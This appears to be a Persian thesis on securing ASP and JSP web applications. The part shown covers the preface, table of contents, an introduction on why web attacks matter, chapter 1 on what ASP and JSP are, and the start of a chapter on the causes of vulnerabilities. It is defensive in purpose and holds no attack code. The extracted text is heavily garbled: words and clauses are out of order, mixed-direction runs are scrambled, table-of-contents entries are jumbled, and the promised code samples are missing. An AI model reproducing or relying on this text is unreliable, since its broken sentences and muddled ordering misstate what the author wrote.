ASP Security by Soroush Dalili - Intelligent Exploit

JSPامنيت صفحات وب ASPو: توسطسروش دليلیبهار 1387تمامی حفوف اين مقاله برای نويسنده ‏(سروش دليلی)‏ محفوظ میباشد.‏ استفاده و يا به اشتراک گذاری اين با ذکر نامنويسنده بلامانع است.‏خواننده گرامي،‏ شما مي توانيد نظرات خود را به آدرس زيرارسال فرماييد:‏Irsdl {4.t[ yahoo [d.0.t} comلطفا در موضوع ايميل،‏ قسمتی از عنوان مقاله را ذکرفرماييد.‏Soroush.SecProject.com

پيش گفتار:‏»با حمد و سپاس از خداوند مهربان،‏ آنچه پيش روست قدمی کوچکدر جهت افزايش امنيت برنامههای کاربردی تحت وب است.‏ پرواضح است که استفاده از اينترنت و برنامه های کاربردی تحتوب،‏ روز به روز در حال افزايش است و در اين ميان حفظامنيت کاربران و سرويس دهنده ها از اهميت زيادی برخورداراست.‏ مهم آنکه در کشور عزيزمان ايران،‏ جای توجه و پرداختنبه اين موضوع به طور جدی وجود دارد،‏ چرا که اکثر برنامههای کاربردی تحت وب نوشته شده و وب سايت های سازمان هایمهم،‏ از آسيب پذيری های متعدد رنج می برند و در معرض خطرنفوذ مهاجمان قرار دارند.‏بر خود لازم می دانم از کمکها و تلاش های بی دريغ پدر ومادرم و تمامی اساتيدم در طول تحصيل تشکر و قدردانی کردهو به سخن حضرت علی ‏(عليه السلام)‏ ايمان دارم که:‏مَن عَل َّمَنی حَرفاً‏ فَقَد صَي َّ رَنی عَبداً‏«به ويژه خود را مديون تمام اساتيد و دوستانی می دانم کههمواره از راهنمايی های ايشان بهره برده و می برم.‏ بهخصوص از جناب آقای دکتر عباسپور و شرکت امن پرداز تشکر مینمايم که به ياری ايشان توانستم اين پروژه را پيش ببرم.‏

يهايهايهاسير.‏يهايها يهايهافهرست:‏فهرست:................................................................................................................‏‎1‎فهرست شكلها:‏ .....................................................................................................5فهرست جداول:.......................................................................................................‏‎7‎چكيده:.................................................................................................................‏‎8‎مقدمه:‏9.................................................................................................................فصل اول.............................................................................................................‏‎12‎مطالب مقدماتي:....................................................................................................‏‎12‎.1.1تعريف برنامهكاربردي تحت وب:‏12.................................................................2.1وظايف برنامهكاربردي تحت وب:................................................................‏‎15‎فوايد برنامه 3.1.كاربردي تحتوب:‏ ..................................................................17تكامل امنيت برنامهكاربردي تحت وب:...................................................‏‎19‎4.1.5.1 ASP چيست؟ 20............................................................................................6.1 JSP چيست؟.............................................................................................‏‎23‎7.1. خلاصه.8.1فصل دومفصل:..............................................................................................‏‎25‎منابع فصل:................................................................................................‏‎25‎26............................................................................................................26..................:JSP و ASPبررسي آسيب پذيريبرنامهكاربردي تحت وب به زبان1

يهايهايها يهايهامقدمه اي بر آسيب پذيريوب:..................................................................‏‎26‎.1.2پذيري:‏ .......................................................................27مشكل:‏ .............................................................................28علل بنيادي وقوع آسيبعوامل كليديمحيط جديد امنيت:...............................................................................‏‎31‎.1.2.2.2.2.2.2.2آينده امنيت برنامهكاربردي تحت وب:...................................................‏‎33‎.3.2.2وب:‏ ......................................34مهمترين آسيب پذيريبرنامهكاربردي تحت.3.2.1.3.2 آسيب پذيري (XSS) 38..........................................:Cross Site Scripting2.3.2 آسيب پذيري 43.......................................................:Injection Flaws45.............................................:Malicious File Execution47............................... :Insecure Direct Object Reference48............................:Cross Site Request Forgery (CSRF)پذيري :Information Leakage and Improper Error Handling 51...52...... :Broken Authentication and Session Management54.................................. :Insecure Cryptographic Storage55........................................... :Insecure Communications56.................................:Failure to Restrict URL Access2آسيب پذيريآسيب پذيريآسيب پذيريآسيبآسيب پذيريآسيب پذيريآسيب پذيريآسيب پذيريفصل:..............................................................................................‏‎57‎.3.3.2.4.3.2.5.3.2.6.3.2.7.3.2.8.3.2.9.3.2.10.3.24.2. خلاصه5.2. منابع فصل:................................................................................................‏‎58‎

يهايهايهايهايهايهايهافصل سوم............................................................................................................‏‎59‎59.................. :JSP و ASPبررسي مراحل حمله عليه برنامهكاربردي تحت وب به زبان.1.3مراحل حمله عليه برنامهكاربردي تحت وب:‏59..................................................2.3. شناساييو جمع آوري اطلاعات:.......................................................................‏‎59‎62......:JSP و ASP.3.3پيدا كردن آسيب پذيري ها برنامهكاربردي تحت وب به زبان.1.3.3.2.3.34.3. خلاصه.5.3فصل چهارميافتن آسيب پذيري ها در حالت جعبه سياه:..................................................‏‎63‎يافتن آسيب پذيري ها با داشتن كدهاي منبع ‏(حالت جعبه سفيد):.......................‏‎65‎فصل:............................................................................................‏‎104‎منابع فصل:..............................................................................................‏‎104‎105.......................................................................................................بررسي روشامن سازي برنامهكاربردي تحت وب:..............................................‏‎105‎.1.4.2.4امنيت وب بدون امن بودن خود برنامه دست يافتني نيست:.....................................‏‎105‎تامين امنيت برنامه كاربردي تحت وب در مقابل آسيب پذيري ها از طريق كدهايبرنامه:‏ .106106...................................... :Cross Site Scripting (XSS).1.2.4روش مقابله با3.2.2.4روش مقابله با108..........................................................:Injection Flaws.3.2.4روش مقابلهبا :Malicious File Execution 111...........................................4.2.4روش مقابله با113............................. :Insecure Direct Object Reference.5.2.4روش مقابلهبا 114.......................................:Cross Site Request Forgery

يها.6.2.4.7.2.4.8.2.4.9.2.4روش مقابلهروش مقابله باروش مقابله باروش مقابله بابا 115.:Information Leakage and Improper Error Handling117....:Broken Authentication and Session Management120................................:Insecure Cryptographic Storage121.........................................:Insecure Communications.10.2.4روش مقابله با122.............................. :Failure to Restrict URL Accessروش 3.4.مقابله با مراحل حمله از طريق دشوار سازينفوذ:‏ عمليات124..........................1.3.4.2.3.4دشوار سازيدشوار سازيعملياتعملياتشناسايي:................................................................‏‎125‎خواندن كدها و استفاده از آسيب پذيريها:‏ .......................1284.4. خلاصه.5.45. خلاصهفصل:............................................................................................‏‎129‎منابع فصل:..............................................................................................‏‎130‎كل مطالب:‏131...........................................................................................پيشنهادات:‏ 6.133.....................................................................................................1.7.7پيوستها:........................................................................................................‏‎134‎واژه نامه امنيت وب:‏134...................................................................................فهرست 8.منابع:‏ .................................................................................................1554

يهايهافهرست شكل ها:‏شكل 1-0 سقوط سهام بر اثرشكلشكلشكلنفوذ عمليات10....................................................................2-0نتيجه تحقيقات11.......................................................................... Gartner1-12-1يك وب سايت معمولي شامل اطلاعات ثابت......................................................‏‎13‎يك برنامه كاربردي تحت وب معمول..............................................................‏‎14‎10 1-2 شكلآسيب پذيري مهم برنامهكاربردي تحت وب در سال36........................ 200637......... The Web Application Hacker’s Handbook2-2 شكلآمار آسيب پذيريشكلشكلشكلشكلشكلشكلشكلشكلشكلشكلشكل5آسيب 3-2پذيري 40................................................................. Reflected XSSآسيب 4-2پذيري 42............................................................ DOM Based XSS5-2 خطاهاي1-3يك صفحه JSP در قسمت پايگاه داده.................................................‏‎52‎فلوچارت پيدا كردن آسيب پذيري ها درزبان 66............................................ASP2-33-34-35-36-3گام اول تنظيمبرنامه خودكار .......................................................................69گام دوم تنظيم برنامه خودكار.......................................................................‏‎70‎گام سوم تنظيم برنامه خودكار......................................................................‏‎70‎گام چهارم تنظيم برنامه خودكار....................................................................‏‎71‎تصوير برنامه72....................................................................Dreamweaver7-3تصوير برنامه86....................................................................Dreamweaver8-3گام اول تنظيمبرنامه خودكار .......................................................................89

شكلشكلشكلشكل9-310-311-312-3گام دوم تنظيم برنامه خودكار.......................................................................‏‎89‎گام سوم تنظيمبرنامه خودكار ....................................................................90گام چهارم تنظيم برنامه خودكار..................................................................‏‎90‎گام پنجم تنظيم برنامه خودكار...................................................................‏‎91‎6

فهرست جداول:‏جدولجدول1-1 تاريخچه 20...................................................................................... ASP2-1 تاريخچه 24........................................................................................JSP35...........................OWASP10 1-2 جدولآسيب پذيري مهم سال2007با توجه به سايت7

چكيده:‏JSPASPپروژه به در اينامنيت صفحات وبوپرداخته ايم.‏در فصل اولمطالب مقدماتيرا كههركس براي شروع اين مبحث نياز دارد بداند،‏ مطرح كرده ايم و در آن به توضيح برنامه هاي كاربرديتحت وب و همچنين زبان هاي مورد بحث پروژه پرداخته ايم.‏ در فصل بعد با توضيح علل پايه اي همهآسيب پذيري هاي برنامه هاي كاربردي تحت وب،‏ مهمترين آسيب پذيري ها را بررسي مي كنيم.‏درفصل سوم با رويكرد شناخت مراحل حمله،‏ براي انجام آن روي برنامه هاي كاربردي تحت وب،‏ بحثشناسايي و جستجوي آسيب پذيري در برنامهها را مطرح مي كنيم.‏در فصل پنجم نيز روش هايمقابله با آسيب پذيري ها و دشوار كردن عمليات نفوذ بررسي مي شود.‏كلمات كليدي:‏ امنيت- آسيب پذيري -برنامه هاي كاربردي تحت وبASP - JSP -8

يهايرامقدمه:‏مورد نفوذ قرار گرفتن و يا به به عبارت ديگر هك شدن مي تواند دلايل متعددي داشته باشد.‏ معمولا درنفوذ گسترده عمليات يكعوامل مختلف دست به دستيكديگرداده و نتيجهرا براي نهايينفوذگرانيكي زنند.‏ رقم مياين از مهمترينحملات،‏ حملات عليهبرنامه هاي كاربردي تحت وب و به عبارتديگر سايت هاي وب است.‏اين اهميتحملات از آن جهت است كه در اكثر سناريونفوذ،‏ وبسايتها به عنوان پيشانييك جلوييمجموعه به عنوان اولينهدف نفوذ قرار ميو از آنجا گيرندنفوذگران حملات ديگرخود را هدايتكنند.‏ ميدر واقع،‏ مشهور بودن زيادوب باعث تبديلشدن آنبه هدفيمناسب بافراد خرابكار شده است.‏در كنار اين روز به روز استفاده از برنامه هاي كاربرديتحت وب گسترش مي يابد.‏ به عنوان نمونه،‏ ده سال پيش،‏ اگر مي خواستيد سرمايه اي را انتقال دهيد،‏به بانك خود مراجعه مي كرديد و كسي اين كار را براي شما انجام مي داد؛ امروزه،‏ مي توانيد به برنامهكاربردي وب آنها مراجعه كنيد و خودتان اين كار را انجام دهيد.‏ مهاجمي كه به يك برنامه كاربردي وبنفوذ مي كند،‏ ممكن است بتواند اطلاعات شخصي افراد را بدزدد،‏ كلاه برداري مالي كند و حتي كارهايمخرب عليهديگر كاربران انجام دهد.‏ در نظر داشته باشيد كه هيچ كس مايل نيست از برنامه كاربرديتحت وبي استفاده كند،‏ در صورتي كهبداند اطلاعاتش براي اشخاص غيرمجاز آشكار خواهد شد.‏بهعبارت ديگر آسيب پذيري امنيتي و مورد نفوذ قرار گرفتن به اعتبار اشخاص و شركت ها در بازار تجارتاينترنتي لطمه شديدي وارد مي كند و مي تواند ارزش سهام آنها را در بازار جهاني به شدت كاهش دهدرا ببينيد).‏ 1-0 ‏(شكل9

شكل 1-0 سقوط سهام بر اثر عمليات نفوذGartner 1در بعد تجارينتيجه تحقيقاتنشان مي دهد كه75 درصد از حملات عليه وب اتفاق ميافتد كه با خرج تنها102- 0درصد از هزينه كلي كه بايد بابت امنيت پرداخته شود،‏ قابل مقابله است ‏(شكلرا ببينيد).‏ همچنين بر طبق اين تحقيق تقريبا65درصد از برنامه هاي كاربردي تحت وب آسيبپذيرند كه البته اين رقم2در تحقيقات جديد به عمل آمده توسط انجام دهندگان آزمون هاي نفوذ ،چيزي حدود95درصد تخمين زده شده است.‏1 Gartner, Nov 2005 2 Studies from numerous penetration tests by Imperva10

فصل اولمطالب مقدماتي:‏.1.1تعريف برنامه هاي كاربردي تحت وب:‏وقتي اينترنت تازه به وجود آمده بودWorld Wide Webتنها از وب سايت ها تشكيل شده بود.‏ اينوب سايت ها انبارهاييحاوي اسناد ثابت بودند و مرورگرهاي وب به عنوان وسيله اي براي بازيافت ونمايش آن اسناد ساخته شدند 1-1).‏(شكلجريان اطلاعاتمورد نظر،‏ جرياني يك طرفه از سرويسدهنده به مرورگر بود.‏ بيشتر سايت ها كاربرها را به رسميت نمي شناختند زيرا نيازي به اين كار نبود-با تمام كاربران به يك نحو رفتار شده و اطلاعات مشابه در اختيار آنها قرار مي گرفت.‏ تهديدهاي امنيتياي كه در وب سايت ها پيدا مي شد مربوط به آسيب پذيري هاي نرم افزار سرويس دهنده وب بود.‏ اگرمهاجمي به يك سرويس دهندهحمله وبمي كرد معمولا نمي توانست به هيچ گونه اطلاعات مهميدست يابد زيرا اطلاعات روي سرويس دهنده قبلا در دسترس عموم قرار داده شده بود.‏بنابراين،‏ مهاجممعمولا فايل هاي روي سرويس دهنده را تغيير مي داد تا شكل محتواي وب سايت را به هم بريزد،‏ يااينكه از فضا و پهناي باند سرويس دهنده استفاده كرده و“warez” 1منتشر كند.‏١ برنامه هاي تجاري كه به صورت غير قانوني توسعه مي يابند.‏12

امروزه1-1 شكلWWW 1يك وب سايت معمولي شامل اطلاعات ثابتتقريبا از شكل اوليه خود قابل شناسايي نيست و اكثر سايت هاي روي وب در حقيقت.(2-1برنامه هاي‏(شكل هستند كاربردياين برنامه هاوظيفه شديدا2مند بوده،‏ و بر جريان دوطرفهاطلاعات بين سرويس دهنده و مرورگر تكيه مي كنند.‏ اين سايت ها از ثبت نام و ورود،‏ داد و ستد هايمالي،‏ جستجوو نوشتن محتوا توسط كاربرو مانند آنپشتيباني مي كنند.‏محتوايي كه براي هر كاربرنمايش داده مي شود به صورت پويادر همان لحظه توليد شده و معمولا براي هر كاربر خاص به شكلاست.‏ معينيبا اين وصف،‏امروزه هركسيبه راحتيمي تواند مقالهيا داستانكند،‏ گفتگو بنويسد،‏بفروشد،‏ جنسوسايل استفاده شدهبخرد،‏ مجموعه چيزهاي خود را مديريت كند،‏ وكارهايي از ايندست انجام دهد.‏يك فاكتور مشترك بين اين فعاليت ها استفاده ازبرنامه هاي كاربردي تحتوباست.‏1 World Wide Web2 functional13

2-1 شكليك برنامه كاربردي تحت وب معمول14

.2.1وظايف برنامه هاي كاربردي تحت وب:‏برنامه هاي كاربردي تحت وببراي اين به وجودآمده اند كه بتوانند هر عمل مفيدي را كه كسي ميتواند در اينترنت انجام دهد،‏ پياده سازي كنند.‏ مثال هايي از عمليات برنامه هاي كاربردي تحت وب كهدر سال هاي اخير اهميت ويژه اي يافته اند شامل موارد زير است:‏خريد(Amazon)شبكه هاي ارتباطيبانكداريجستجو در وبمزايدهشرط بنديوبلاگ ها(MySpace)(Citibank)(Google)(Betfair)(eBay)(Blogger)پست الكترونيكي(Hotmail)اطلاعات تعاملي ‏(پرسش و پاسخي)‏(Wikipedia)•••••••••علاوه بر استفاده هاي عمومي اينترنت،‏ برنامه هاي كاربردي تحت وب در سازمان ها براي انجام عملياتتجاري،‏ شامل خدمات منابع انساني و مديريت ديگر منابع سازمان به كار مي روند.‏ همچنين اين برنامهها درايجاد واسطهاي مديريتيبرايقطعات سخت افزاري مانند پرينترها،‏ نرم افزارهاي ديگر مانندسرويس دهنده هاي وب و سيستم هاي تشخيص مزاحمت نقش بسزايي دارند.‏بسياري از برنامه ها كه قبل از برنامه هاي كاربردي تحت وب به وجود آمده بودندرو به اين تكنولوژيآورده اند.‏برنامه هايتجاري مانند نرم افزاربرنامه ريزي منابع سرمايه اي،(ERP) كه در گذشته بااستفاده از يك برنامه اختصاصي قابل دسترسي بود،‏ اكنون با استفاده از يك مرورگر وب قابل دسترسي15

مي باشد.‏خدمات نرم افزاري مانند پست الكترونيكي،‏ كه در ابتدا به يك سرويس گيرنده پستOutlook Web Accessالكترونيكي مجزا نياز داشت،‏ امروزه از طريقواسطه هايوب مانندقابلYahoo Messengerدسترسي است.‏نرم افزار مشهور گفتگويهم اكنون به يك برنامه كاربرديتحت وب تبديل شده است و اين1جهتگيري با تبديل نرم افزارهاي دفتري مانند پردازشگرهاي لغات بهMicrosoft Office Liveبرنامه هاي كاربردي تحت وب مانند Google Appsوهمچنان ادامهدارد.‏به زودي زماني فرامي رسد كه تنها نرم افزاريكه اكثر كاربران كامپيوتر نياز دارند،‏آنها مرورگر وبخواهد بود.‏ بدين صورت،‏ طيف متنوعي از عملكردها با استفاده از پروتكل ها و تكنولوژي هاي مشتركپياده سازي خواهد شد،‏ و با اين كار محدوده اي مشخص از آسيب پذيري هاي امنيتي خواهيم داشت.‏1 Office16

.3.1فوايد برنامه هاي كاربردي تحت وب:‏به آساني مي توان دريافت كه چرا برنامه هاي كاربردي تحت وب چنين راه سريعي را به سمت بهترينشدن پيموده اند.‏ببرند:‏چندين عامل تكنيكي در كنار انگيزه هاي تجاري قرار گرفته اند تا اين پديده راجلوWorld Wide Web پروتكل مركزي ارتباطات كه براي دسترسي به ،HTTPاستفاده مي•1شود،‏ سبك و بدون اتصالاست.‏اين امر باعث ايجاد حالتيخطاهاي ايجاد هنگام ارتجاعيارتباطي مي شود و در نتيجه سرويس دهنده نيازي به باز كردن يك ارتباط شبكه براي هركاربر،‏ آنچنان كه در بسياري از كاربردهايمعمول بين سرويس دهنده و سرويس گيرندهصورت مي گيرد،‏ نخواهد داشت.‏ HTTP همچنان مي تواندproxyديگر تونل بزند،‏ و در هر پيكربندي شبكه امكان ارتباطي امن را فراهم سازد.‏شود و روي پروتكل هايهر كاربر وباز قبل حتمايك مرورگر بر روي كامپيوتر خود نصب كرده است.‏برنامه هاي•كاربردي تحت وبكاربري واسطخود را به صورت پويا در مرورگربرپا مي كنندو نيازي بهپخش و مديريت نرم افزار سرويس گيرنده جداگانه،‏ كه در برنامه هاي قبلي صورت مي گرفت،‏ندارند.‏ تغييرات واسط كاربري تنها يك بار روي سرويس دهنده اعمال مي شود و بلافاصله نيزاثر مي كند.‏مرورگرهاي امروزيكارايي بسيار بالايي دارند،‏با آنها بنابراينارتباطات قوي ومي مناسبي•توان ساخت.‏ واسطهاي وب از ابزارهاي راهبري و كنترل هاي ورودي استاندارد كه براي كاربرانآشناست استفاده كرده و نياز به يادگيري چگونگي عملكرد برنامه هاي جديد از ميان مي رود.‏برنامه هاClient-side scripting را قادر مي سازد تا بخشي از پردازش هاي خود را به1 Connectionless17

سمت كاربر برانند،‏ و توانايي هاي مرورگر با استفاده از اجزاء اجرايي در سمت كاربران،‏ هرجا كهلازم باشد مي تواند گسترش بيشتري يابد.‏زبان ها و تكنولوژي هاي مركزي كه براي توسعهبرنامه هاي كاربردي تحت وباستفاده مي•شوند نسبتا ساده هستند.‏ محدوده وسيعي از platformها و ابزارهاي توسعه براي آسان كردنساخت برنامه هاي كاربردي توسط مبتدي ها به وجود آمده اند،‏ و همچنين تعداد زيادي برنامه1هاي متن باز و ديگر منابع براي مشاركت در ساخت برنامه هاي سفارشي در دسترس است.‏1 Open Source18

يهايها4.1. سير تكامل امنيت برنامه هاي كاربردي تحت وب:‏مانند هر تكنولوژي جديد ديگري،‏ برنامه هاي كاربردي تحت وب نيز با خود محدوده جديدي از آسيبپذيريامنيتيرا به همراه آورده اند.‏اين در حاليست كهبرنامه اي از هربرنامه ها ديگرمتفاوتاست و آسيب پذيري هاي خاص خود را دارد.‏از بخشياين آسيب پذيري هادر طول زمانبه دليلآگاهي از آنها بهبود پيدا كرده اند و با تغييرات اعمال شده روي مرورگرهاي وب دسته اي از خطاها نيزندارند.‏ وجود ديگربا وجود اين،‏حملات جديديپيداشده اند كه زمانيكه برنامه هايدرحال فعليتوسعه بودند در نظرگرفته نشده بودند.‏در كنار اينتكنولوژيجديدتريبه وجود آمده اند وامكانات جديدتري نيزبرايسو استفاده با خود به همراه آورده اند.‏اين مشكلات وقتي نگران كننده ترمي شوند كه بدانيمبيشتربرنامه هاي كاربرديدر خانه و بسياري از آنها توسط كساني كه اطلاعاتكمي از مشكلات امنيتي دارند شكل گرفته اند.‏سير اين درتكاملي،‏ نفوذ به برنامه هايتحت وب،‏ مهم كاربرديهمواره در اخبار باقيمانده است وخبري هيچاز كاهش اينمشكلات امنيتيامنيت درنتيجه،‏ نيست.‏برنامه هايكاربرديتحت وبامروزه به صورت يك جدال دائمي بين مهاجم ها و كساني كه از منابع و داده هاي كامپيوتري دفاع ميكنند درآمده است و به نظر مي رسد اين جدال همچنان ادامه داشته باشد.‏19

.5.1 ASP چيست؟ASPعبارت خلاصه Active Server Pagesمي باشد.‏اولين تكنولوژي طرف سرويسASPدهنده شركتمايكروسافتاست كه براي ساخت صفحات وب پوياو برنامه هاي كاربردي تحت وباستفاده مي شود.‏ پسوند صفحات وب اين تكنولوژي به صورت عادي.aspمي باشد كه در برخي سايت.aspxها به دليل مسائل امنيتي به يك پسوند ديگر تغيير يافته است.‏توجه كنيد كه پسونديكASP.NETصفحه ASPنيست و يك صفحهاست كه تكنولوژي ديگر طرف سرويس دهندهمايكروسافت است كه بر پايه ASP سنتي و تكنولوژي .NET مايكروسافت بنا شده است.‏ اكثر صفحاتبه زبان VBScriptنوشته شده است،‏ با اين حال ساير موتورهايActive Scripting مانندASPJScript و PerlScriptنيز قابل انتخاب مي باشند.‏ صفحات شامل كدASPتنها با بازكردن در يكمرورگر قابل استفاده نيستند،‏ بلكه براي اجراي آنها نياز به يك سرويس دهنده داريم كه از ASPپشتيباني كند و به همين دليل نيز به آن Active Server Pageمي گويند.‏اين تكنولوژيبراياولين بار به صورت تجاري در NT 4.0ويندوز IISدر گزينه هاي اختياري ارائه شد و بعدا به صورترايگان در بستهWindows 2000 Serverعرضه شد.‏تاريخچه انتشار نسخه هاي مختلفASP به شكل زير است:‏تاريخ انتشار نسخه IIS نسخه ASP1.0 3.0 December 19962.0 4.0 September 19973.0 5.0 November 2000جدول1-1 تاريخچه ASP20

Windowsهم اكنون ASPنسخه 3.0 در IIS 6.0 در Windows Server 2003 و IIS 7.0درPersonnel Web ServerIISنيز وجود دارد.‏گفتنيست نسخه كوچكتربه نامServer 2008(PWS)نيز در محصولات مايكروسافت به صورت رايگان براي اجراي صفحات ASP وجود دارد.‏كاربراني كه از سيستم عامل ها يا سرويس دهنده هاي وب ديگر استفاده مي كنند،‏ مي تواننداز نرمASPChili! Soft ASPافزار شركت Sunبا نامبراي اجراي صفحاتاستفاده كنند.‏اين نرم افزارRed Hat Secure Server،Zeus،I-Planetسرويس دهنده وب نظير ،Apacheو سيستمعامل هايي مثل ،LinuxAIX ،HP-UX ،Solarisو مانند آن را در برميگيرد.‏ASPHTMLفايل هاي ASPمي توانند همانند فايل هاي استانداردباشند كه با كدهايتركيبشده اند،‏ يعني هم مي توانند شامل كدهاي طرف سرويس دهنده باشند و هم شامل كدهاي طرفكاربر.‏ از آنجاييكه برنامه هاي عادي اين زبان به صورت كد باز منتشر مي شوند،‏ از ساده ترين ويرايشگرهاي متن مانند Notepadبراي ويرايش آن مي توان استفاده كرد.‏با اين حال امروزه ويرايشگرهايمتن قدرتمندتري براي ويرايش زبان ASP به بازار آمده اند كه قابليت كامل كردن خودكار دستورات ونمايش خوانا تر اين زبان خاص را دارند.‏ به همين دليل در اين پروژه نيز براي خواندن فايلهاي ASP ازنرم افزار ساده و قدرتمندDreamweaverاستفاده شده است.‏HelloVBScriptكدهاي زير نمونه اي از كد يك صفحه ASPكلاسيك به زباناست كه كلمهWorld!را روي صفحه نمايش مي دهد:‏كدهاي زير نيز اتصال يك صفحه ASP به يك پايگاه دادهAccessرا نمايش مي دهد:‏21

در اين پروژه همواره در قسمت تحليل كدهاي برنامه،‏ كدهاي زبان ASPتحليل شده اند و مثال هايروش هاي مقابله با آسيب پذيري ها از طريق برنامه نويسي،‏ به زبان ASP-VBScriptاند.‏نوشته شده22

.6.1 JSP چيست؟تكنولوژي Java Server Pageيك راه سريع و ساده را براي ساخت صفحات وب با محتويات پويا ياSunJSPبه عبارت ديگر برنامه هاي كاربردي تحت وبارائه مي دهد.‏خصوصياتتوسط شركتتعريف شده است كه نحوه ارتباط سرويس دهنده با صفحات JSPو نيز شكلMicrosystems.jspتركيب دستورات صفحه را بيان مي دارد.‏صفحات پسوندوب اين تكنولوژي به صورت عادييا.jspxاست.‏ البته با استفاده از توصيفگر توسعه دهنده در فايل ،web.xml پسوندهاي بيشتري نيز ميتوانند با موتور JSP اجرا شوند.‏تكنولوژي JSPقسمتي از خانواده تكنولوژيJavaاست.‏ اين صفحات بهservletها كامپايل مي شوندEnterprise JavaBeans (enterpriseو مي توانند قسمت هاي (beans) JavaBeansياJSPرا براي پردازش روي سرويس دهنده صدا بزنند.‏به همين دليل تكنولوژييك جزءbeans)كليدي در معماري هاي بزرگ در برنامه هاي كاربردي تحت وب است.‏ JSPصفحاتبه هيچ سرويسدهنده وب خاص يا هيچ پايگاه كاري ‏(مانند سيستم عامل)‏ خاصي محدود نيستند.‏Servlet درست بعد از اينكه خصوصيات JSPهازير است:‏منتشر شد،‏ منتشر گرديدند كه تاريخچه آن به شرحنسخه -تاريخ انتشاربرنامهServlet spec 2.1 January 1999Servlet spec 2.2 December 1999JSP 1.0 June 1999JSP 1.1 December 1999JSP 1.2 2001JSP 2.0 (Major Ver.) November 200323

جدول2-1 تاريخچه JSPJavaXMLصفحات JSPاز تگهايو كدهاي مبتني بر برنامه نويسيبراي در برگرفتن منطقي كهHTMLمحتويات صفحه را ايجاد مي كند،‏ استفاده مي كنند.‏اين صفحات هر شكلي مانند تگهايياJSPرا مستقيما به صفحه پاسخ برميگردانند.‏بدين صورت صفحاتمنطق صفحه را از شكلXMLطراحي و نمايش جدا مي كنند.‏ صفحات JSP را مي توان در هر ويرايشگر متني نوشت.‏ اين به آن معنيEMACSNOTEPADبرنامه در را مي توان ها كه است JSPيا ويندوز عامل سيستمعامل سيستمUNIXو قدرتمندنوشت.‏ يك ويرايشگر قدرتمند كه از صفحات نوشته شدهJSPDreamweaverمي باشد.‏كدهاي زير يك برنامه ساده به زبان JSP است كهHello World!حمايت مي نمايد،‏ نرم افزار سادهرا روي صفحه چاپ مي كند:‏نمونه اي از كد سادهJava Servletبه شكل زير است:‏24

7.1. خلاصه فصل:‏در اين فصل مقدماتي كه در فصول بعد از آن استفاده خواهد شد بيان گرديد.‏ برنامه هاي كاربردي تحتوب تعريف شدند و جايگاه و فوايد آنها گفته شد و بدين صورت مشخص گرديد كه امنيت آنها اهميتويژه اي دارد.‏ در پايان فصل به دليل جهتگيري پروژه روي امنيت برنامه هاي كاربردي وب به زبان هايASP و ،JSP مقدمه اي براي آشنايي با آن زبان ها بيان شد.‏8.1. منابع فصل:‏1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's HandbookDiscovering and Exploiting Security Flaws", Wiley Publishing Inc., 20082. Shema Mike, "Hack Notes Web Security Portable Reference", McGraw-Hill/Osborne, 20033. McClure Stuart, Scambray Joel, Kurtz George, "Hacking Exposed Fifth EditionNetwork Security Secrets & Solutions", McGraw-Hill/Osborne, 20054. Ambrosch Dl Robert, "Hacking 101" Workshop, Wien, 8 Nov., 20075. Gartner, Nov 2005, http://gartner.com6. Open Web Application Security Project, http://www.owasp.org/7. http://en.wikipedia.org/8. http://www.imperva.com/application_defense_center/papers/how_safe_is_it.html9. http://www.webwizguide.com/kb/asp_tutorials/what_is_asp.asp10. http://java.sun.com/products/jsp/faq.html11. http://condor.depaul.edu/~mwright1/j2ee/12. http://j2ee.masslight.com/Chapter1.html25

فصل دومبررسي آسيب پذيري هاي برنامه هاي كاربردي تحت وب به زبان هاي:JSP و ASP.1.2مقدمه اي بر آسيب پذيري هاي وب:‏آسيب پذيري هاي وبرا ميتوان به دو دسته كلي تقسيم كرد.‏يك دسته آسيب پذيري هاييست كه،Linuxناشي از محيط اجرا و اجزايي است كه برنامه هاي كاربردي در آنها با هممشتركند؛ مانندو نظاير اينها.‏دسته ديگر آسيب پذيري ها،‏خود برنامه هايOracle،IIS،Apache،Windowsكاربردي تحت وب را هدف مي گيرد.‏ به عبارت ديگر دسته دوم خطاهاي برنامه نويسي در يك برنامه راشامل مي شود كه براي نمونه مي تواند موجب فاش شدن جزئيات كارت اعتباري كاربران،‏ اجرايدستورات در پايگاه داده و يا اجراي فرمان سيستمي در سرويس دهنده گردد.‏در اين پروژه ما تنهادسته دوم را بررسي مي كنيم چرا كه هدف ما امن سازي خود برنامه هاي كاربردي به زبان ASPوJSPاست.‏ البته به تنظيمات نادرست سرويس دهنده كه باعث در معرض خطر قرار گرفتن برنامه هايكاربردي مورد نظرمان مي شود،‏ در حين مباحث مربوط اشاره خواهيم داشت.‏در عين حال،‏ آسيب پذيري هاي برنامه هاي كاربردي وب نيز بسيار گسترده بوده و اين گستردگي روزبه روز با آمدن تكنولوژي هاي جديد و ايده هاي نو،‏ بيشتر و بيشتر مي شود.‏ لذا در اينجا فقط به مواردمهم آسيب پذيري هاي برنامه هاي كاربردي تحت وب اشاره كرده و موارد ديگر را با ذكر مرجع به عهدهخواننده علاقه مند مي گذاريم.‏نكته اي كه اينجا حائز اهميت است،‏ تفاوت بين آسيب پذيري ها وحملات است تا بتوان آنها را از هم تميز داد،‏ چرا كه در بسياري از منابع اين دو را در كنار هم نوشتهاند.‏ طبق تعريف داريم:‏ حملات تكنيك هايي هستند كه از آسيب پذيري ها سو استفاده مي كنند.‏26

2.2. علل بنيادي وقوع آسيب پذيري:‏از آنجاييكهسرويس گيرندهخارج از كنترل برنامه كاربرديكاربران است،‏مي توانند داده هايي كاملادلخواه به سمت سرويس دهنده ارسال كنند.‏ در برنامه هاي كاربردي بايد فرض بر اين اساس قرار گيردكه تمام ورودي ها به صورت بالقوهمخرب هستند.‏بايد اقداماتي لذامهاجمان تا انجام دهدنتوانند بااستفاده از ورودي هاي فريبنده و دخالت در منطق و طرز كار برنامه،‏ آن را به خطر بياندازند و دسترسيبي اجازه به داده ها و كارايي آن پيدا كنند.‏اين مشكل اصلي خود را به صور گوناگوني نشان مي دهد:‏كاربران مي توانند درهر قسمتي از داده هاي ارسالي،‏ بين سرويس گيرندهو سرويس دهنده،‏ مانند-پارامترهاييك درخواست،‏ كوكي ها1و سرنامه هاي HTTP مداخله كنند.‏ هرگونه كنترل امنيتي كهدر قسمت كاربر پياده سازي شده است،‏ مانند چك كردن اعتبار ورودي،‏ به راحتي مي توانددور زدهشود.‏كاربرانمي تواننددرخواست هايخود رابه هر ترتيبيارسال كنند،‏ و مي توانند پارامترها را در-مرحله اي كه برنامه كاربردي انتظار 